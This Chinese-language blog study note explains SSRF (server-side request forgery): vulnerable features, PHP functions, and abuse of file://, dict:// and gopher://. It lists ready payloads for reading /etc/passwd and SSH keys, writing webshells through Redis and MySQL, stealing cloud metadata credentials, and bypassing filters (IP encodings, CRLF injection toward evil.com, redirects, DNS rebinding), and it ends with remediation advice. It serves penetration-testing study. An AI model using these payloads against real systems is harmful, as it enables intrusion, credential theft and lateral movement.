SSRF 漏洞完整笔记
05/29
本文最后更新于
2026年05月29日,已超过
18天没有更新。如果文章内容或图片资源失效,请留言反馈,我会及时处理,谢谢!
SSRF 漏洞完整笔记
Server-Side Request Forgery(服务端请求伪造)
让目标服务器替攻击者发送请求,访问外网无法直接访问的内网资源
一、基本概念
1.1 什么是 SSRF
攻击者 → 目标服务器(公网可达)→ 内网服务(公网不可达)
外网能访问:百度、任何公开网站,任何人都能直接访问
外网不能访问:内网服务、127.0.0.1 管理接口、内网数据库、监控系统、跳板机、路由器后台、同网段其他机器
SSRF 的核心:服务器本身在内网里,它可以访问内网资源。
攻击者利用服务器作为代理,让它替自己发请求。1.2 形成原因
服务端提供了从其他服务器获取数据的功能,且:
1. 没有对用户输入的 URL 做过滤
2. 没有对响应结果做检验,直接输出
常见功能:
- 从指定 URL 获取网页内容
- 加载/下载指定地址的图片
- 百度识图、在线翻译、网页截图
- URL 预览、链接解析
- 文件导入(从 URL 导入)
- Webhook 回调1.3 NAT(网络地址转换)
通过将一个外部 IP 地址和端口映射到更大的内部 IP 地址集来转换 IP 地址。
这就是为什么内网 IP(192.168.x.x、10.x.x.x)外面访问不到,
但服务器自己可以访问。二、漏洞挖掘——哪些功能点可能存在 SSRF
2.1 功能层面
1. 分享功能:通过 URL 地址分享网页内容
2. 转码服务:通过 URL 把网页转为适合手机浏览的样式
3. 在线翻译:通过 URL 翻译对应文本
4. 图片/文章收藏:收藏 URL 对应的内容
5. 图片加载/下载:输入 URL 加载图片
6. 网页预览/截图:输入 URL 生成预览或截图
7. 文件导入:从 URL 导入文件(Excel、CSV、XML)
8. Webhook 回调:配置回调 URL
9. 第三方登录回调:OAuth redirect_uri
10. 支付回调:支付结果通知 URL
11. 健康检查:检查 URL 是否存活
12. DNS 查询/Ping 功能
13. 链接有效性验证
14. PDF 生成(HTML to PDF)2.2 关键判断
所有目标服务器会从自身发起请求的功能点,
且我们可以控制请求的地址参数,都可能造成 SSRF。三、PHP 中产生 SSRF 的函数
3.1 三个核心函数
// 1. file_get_contents() —— 读取文件/URL 内容
file_get_contents("http://127.0.0.1:6379/");
// 2. fsockopen() —— 建立 TCP 连接,传输原始数据
$fp = fsockopen("127.0.0.1", 6379, $errno, $errstr, 30);
// 3. curl_exec() —— 执行 cURL 请求
curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1:6379/");
curl_exec($ch);3.2 其他 PHP 函数
- fopen() / fread() / fgets()
- get_headers()
- readfile()
- highlight_file() / show_source()
- parse_url()(本身不发请求,但常配合使用)四、伪协议利用
4.1 file:// —— 读取本地文件
file:///etc/passwd → Linux 密码文件
file:///etc/hosts → 主机 hosts 文件
file:///C:/Windows/win.ini → Windows 配置文件
file:///proc/self/environ → 环境变量(可能含密码)
file:///proc/self/cmdline → 启动命令
file:///root/.bash_history → 命令历史
file:///root/.ssh/id_rsa → SSH 私钥
file:///var/log/nginx/access.log → Nginx 日志
file:///var/www/html/ → Web 目录
file:///etc/nginx/nginx.conf → Nginx 配置
判断是否有 SSRF:传 file:///etc/passwd,看是否有回显4.2 dict:// —— 探测端口和服务
dict://127.0.0.1:6379/info → Redis 信息
dict://127.0.0.1:3306/ → MySQL 版本
dict://127.0.0.1:8080/ → Web 服务
用途:
1. 探测内网存活主机
2. 探测主机开放端口
3. 获取服务版本信息
4. 逐个 IP + 常用端口 fuzz
缺点:ftp 时间长,dict 更快4.3 http:// —— 访问内网 Web 服务
http://127.0.0.1/ → 本机 Web 服务
http://127.0.0.1:8080/ → 管理后台
http://192.168.1.1/ → 路由器后台
http://10.0.0.x/ → 内网其他服务
用途:通过目录扫描获取网站子页面4.4 sftp:// —— SSH 文件传输
sftp://evil.com:1337/
运行在安全连接上,类似 SSH4.5 gopher:// —— 万能协议(最重要!)
Gopher 是 HTTP 的前身,作用相似。
可以构造任意 TCP 数据包,攻击内网任何服务。
关键特性:
- 发送的第一个字符会被吃掉,所以需要在前面加一个无用字符(如 _)
- %0d%0a 代表换行(\r\n)
- 需要对内容进行 URL 编码
格式:gopher://主机IP:端口/_构造的数据包构造 GET 请求
保留两个头部:
1. 路径:GET /name.php?name=xxx HTTP/1.1
2. 目标 IP:Host: xxx.xxx.xxx.x
格式:
gopher://主机IP:80/_GET%20/path%3fparam=value%20HTTP/1.1%0d%0AHost%20主机IP%0d%0A%0d%0A
编码说明:
- %20 = 空格
- %3f = 问号 ?
- %0d%0a = \r\n 换行
- 结尾 %0d%0a%0d%0a = 消息结束构造 POST 请求
保留头部:
1. POST /path HTTP/1.1
2. Host: xxx.xxx.xxx.x
3. Content-Type: application/x-www-form-urlencoded
4. Content-Length: (计算 body 长度)
格式:
gopher://主机IP:80/_POST%20/path%20HTTP/1.1%0d%0AHost%20主机IP%0d%0AContent-Type:%20application/x-www-form-urlencoded%0d%0AContent-Length:%20长度%0d%0A%0d%0Abody内容%0d%0A
注意:内容需要 URL 编码(通常需要编码两次)五、利用 SSRF 攻击内网服务
5.1 攻击无密码 MySQL
前提:MySQL 无密码或已知密码,且允许本地连接
方法:
1. 抓取本地 MySQL 通讯内容(Wireshark/tcpdump)
2. 提取查询数据包的十六进制
3. 放入 gopher:// 提交
工具:gopherus(一键生成 payload)
python2 gopherus.py --exploit mysql
未授权文件写入:
SHOW VARIABLES LIKE '%secure%'; → 查看 secure_file_priv
若未设置或指向 Web 目录,则可以写文件:
SELECT "<?php eval($_POST[1]);?>" INTO OUTFILE "/var/www/html/1.php"5.2 攻击无密码 Redis
利用 gopherus 一键生成:
python2 gopherus.py --exploit redis
手动构造 Redis 命令:
1. CONFIG SET dir /var/www/html/ → 设置 Web 路径
2. CONFIG SET dbfilename shell.php → 设置文件名
3. SET payload "<?php phpinfo();?>" → 写入内容
4. SAVE → 保存文件
也可以:
- 写 SSH 公钥到 /root/.ssh/authorized_keys
- 写 Crontab 定时任务反弹 Shell
- 写 WebShell 到 Web 目录5.3 攻击内网 Web 服务
通过 SSRF 扫描内网 Web 管理后台:
http://192.168.1.x:8080/admin/
http://10.0.0.x:8080/
利用内网 Web 应用的已知漏洞
内网横向移动5.4 攻击其他内网服务
MongoDB: 27017 端口,未授权访问
Elasticsearch: 9200 端口,未授权访问
Memcached: 11211 端口,数据泄露
CouchDB: 5984 端口,未授权访问
Docker API: 2375 端口,容器逃逸
Kubernetes: 8080/6443 端口,集群控制
Consul: 8500 端口,服务发现泄露
Nacos: 8848 端口,配置中心泄露
Zookeeper: 2181 端口,未授权访问5.5 攻击云环境元数据(实战最高价值!)
云服务器有元数据接口,只有本机可以访问:
通用地址:
http://169.254.169.254/latest/meta-data/
阿里云专用:
http://100.100.100.200/latest/meta-data/
可获取的信息:
├── /latest/meta-data/ → 所有元数据
├── /latest/meta-data/instance-id → 实例 ID
├── /latest/meta-data/hostname → 主机名
├── /latest/meta-data/local-ipv4 → 内网 IP
├── /latest/meta-data/public-ipv4 → 公网 IP
├── /latest/meta-data/security-groups → 安全组
├── /latest/meta-data/ram/ → RAM 角色(临时密钥!)
│ └── /latest/meta-data/ram/security-credentials/<role>
│ → 返回 AccessKeyId、SecretAccessKey、SecurityToken
└── /latest/user-data/ → 启动脚本(可能含密码)
拿到 RAM 临时密钥 = 拿到整个云账号权限:
- 读 S3/OSS 存储桶 → 数据泄露
- 控制 ECS 实例 → 内网漫游
- 操作 RDS 数据库 → 脱库
- 严重/高危漏洞5.6 内网端口扫描
通过 SSRF 探测内网:
1. 通过响应时间判断端口开闭(开的端口响应快,关的超时)
2. 通过错误信息判断服务类型
3. 绘制内网拓扑图
方法:
- dict://192.168.1.1:80/
- dict://192.168.1.1:8080/
- dict://192.168.1.1:3306/
- dict://192.168.1.1:6379/
- 逐个 IP + 常用端口 fuzz六、SSRF 绕过方式
6.1 @ 截断(HTTP 基本身份认证)
限制为 http://www.xxx.com 域名时:
http://www.aaa.com@www.bbb.com@www.ccc.com
PHP parse_url 识别 www.ccc.com
libcurl 识别 www.bbb.com
处理差异导致绕过
实际利用:
http://ctf@127.0.0.1 → ctf 伪装用户名,127.0.0.1 是真正目标6.2 短网址
百度短地址:https://dwz.cn/
其他短址服务:bit.ly、tinyurl.com
把 http://127.0.0.1 生成短地址,绕过域名检测6.3 本地回环地址绕过
进制转换:
127.0.0.1
├── 八进制:0177.0.0.1
├── 十六进制:0x7f.0.0.1(0x7F000001)
├── 十进制:2130706433
└── 二进制:0b01111111000000000000000000000001
句号替换:
127。0。0。1 → 127.0.0.1
IP 省略写法:
127.1 → 127.0.0.1
127.0.1 → 127.0.0.1
(取决于环境)
解析到本地的域名:
sudo.cc → 127.0.0.1
localtest.me → 127.0.0.16.4 利用特殊域名(DNS 解析)
127.0.0.1.xip.io → 解析为 127.0.0.1(xip.io 已失效,找替代)
169.254.169.254.nip.io → 解析为 169.254.169.2546.5 利用 IPv6
http://[::1]/ → 127.0.0.1 的 IPv6
http://[0:0:0:0:0:0:0:1]/ → 同上
http://[::ffff:127.0.0.1]/ → IPv4 映射的 IPv66.6 利用 [::] 绕过 localhost
http://[::169.254.169.254]/ → 绕过对 169.254.169.254 的检测6.7 CRLF 编码注入
%0d → \r 回车
%0a → \n 换行
注入 HTTP 头部:
http://example.com/?url=http://evil.com%0d%0aHost:fuzz.com%0d%0a
可用于 HTTP 请求走私6.8 封闭字母数字(Enclosed Alphanumerics)
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ → example.com
http://①⑥⑨。②⑤④。⑯⑨。②⑤④ → 169.254.169.254
字符表:
①②③④⑤⑥⑦⑧⑨⑩ ⑪⑫⑬⑭⑮⑯⑰⑱⑲⑳
⑴⑵⑶⑷⑸⑹⑺⑻⑼⑽ ⑾⑿⒀⒁⒂⒃⒄⒅⒆⒇
⒈⒉⒊⒋⒌⒍⒎⒏⒐⒑ ⒒⒓⒔⒕⒖⒗⒘⒙⒚⒛
ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ
ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ
⓪6.9 重定向绕过 IP 限制
针对 gethostbyname() + filter_var() 验证公网 IP 的情况:
在自己服务器写重定向文件 1.php:
<?php header("Location:http://127.0.0.1/flag.php"); ?>
传入:http://你的IP/1.php
服务器验证时解析到你的公网 IP(通过)
实际请求时重定向到 127.0.0.1(访问内网)
变体:
- 短链接跳转
- 301/302 重定向
- JavaScript 跳转
- Meta refresh 跳转
- DNS CNAME 记录6.10 DNS Rebinding(DNS 重绑定)
第一次解析:evil.com → 1.2.3.4(公网 IP,通过验证)
第二次解析:evil.com → 127.0.0.1(内网 IP,实际访问)
需要控制 DNS 服务器,利用时间差
验证和请求之间有时间间隔,DNS 可以在这个间隙改变七、非 PHP 语言的 SSRF
7.1 Java
// 核心类
HttpURLConnection
URL.openConnection()
HttpClient
OkHttp
Apache HttpClient
RestTemplate
URLConnection
// 特殊协议支持
jar:// → Java 归档
netdoc:// → 类似 file://7.2 Python
# 核心函数
urllib.request.urlopen()
requests.get()
urllib3
aiohttp
httpx7.3 Node.js
// 核心模块/库
http.request()
https.request()
axios
fetch()
request()
got()
needle7.4 Go
http.Get()
http.NewRequest()
http.Client.Do()7.5 .NET / C
// 核心类
WebRequest.Create()
HttpClient
WebClient
HttpWebRequest
HttpWebResponse
// ASP.NET 特有
Server.Execute()
Response.Redirect()
WebClient.DownloadString()7.6 Ruby
Net::HTTP.get()
open()
URI.open()
RestClient.get()八、SSRF 的危害等级
低危:
├── 可以探测内网存活主机和端口(无回显)
└── 仅能访问内网,无法获取数据
中危:
├── 可以读取本地文件(file:///etc/passwd)
├── 可以内网端口扫描(有回显)
└── 可以访问内网 Web 服务
高危:
├── 可以攻击内网服务(Redis/MySQL 写 Shell)
├── 可以读取云元数据(获取临时密钥)
├── 可以获取内网敏感信息
└── 可以内网横向移动
严重:
├── 拿到云账号控制权
├── 获取数据库全部数据
├── 获取服务器 Shell
└── 控制整个内网九、实战测试流程
9.1 信息收集
1. 确认目标技术栈(PHP/Java/Python/Node.js/.NET)
2. 确认是否有 URL 输入功能
3. 确认是否有文件导入功能
4. 确认是否有 Webhook/回调功能
5. 确认是否在云环境(阿里云/AWS/腾讯云)9.2 判断是否存在 SSRF
1. 传入 http://127.0.0.1 → 看响应
2. 传入 file:///etc/passwd → 看是否返回文件内容
3. 传入 dict://127.0.0.1:80/ → 看是否探测到端口
4. 传入自己的 VPS 地址 → 看是否有请求过来(nc -lvp 8888)
5. 通过响应时间判断(访问存在的端口快,不存在的超时)9.3 漏洞利用
1. 读取本地文件 → file://
2. 探测内网 → dict:// + http://
3. 攻击内网服务 → gopher://
4. 读取云元数据 → http://169.254.169.254/
5. 内网横向移动 → 通过 SSRF 跳板9.4 报告编写
1. 漏洞 URL 和参数
2. 复现步骤(每一步都截图)
3. payload 构造过程
4. 危害说明(能拿到什么?影响多大?)
5. 修复建议十、修复建议
1. 限制协议:只允许 http/https,禁止 file/gopher/dict/sftp
2. 限制 IP:禁止访问内网 IP(127.0.0.1、10.x、172.16-31.x、192.168.x)
3. 限制端口:只允许 80/443
4. 域名白名单:只允许访问特定域名
5. DNS 重绑定防护:验证 IP 后锁定,不再二次解析
6. 响应处理:不直接返回服务器响应内容
7. 超时设置:设置合理的请求超时时间
8. 错误处理:不暴露详细的错误信息十一、工具推荐
Gopherus:生成 gopher:// payload(打 Redis/MySQL/FastCGI 等)
SSRFmap:自动化 SSRF 利用工具
SSRFire:SSRF 自动化测试
Goby:内网扫描 + 漏洞利用
Nuclei:模板化漏洞扫描
Burp Suite:手动测试核心工具
curl:命令行发请求测试




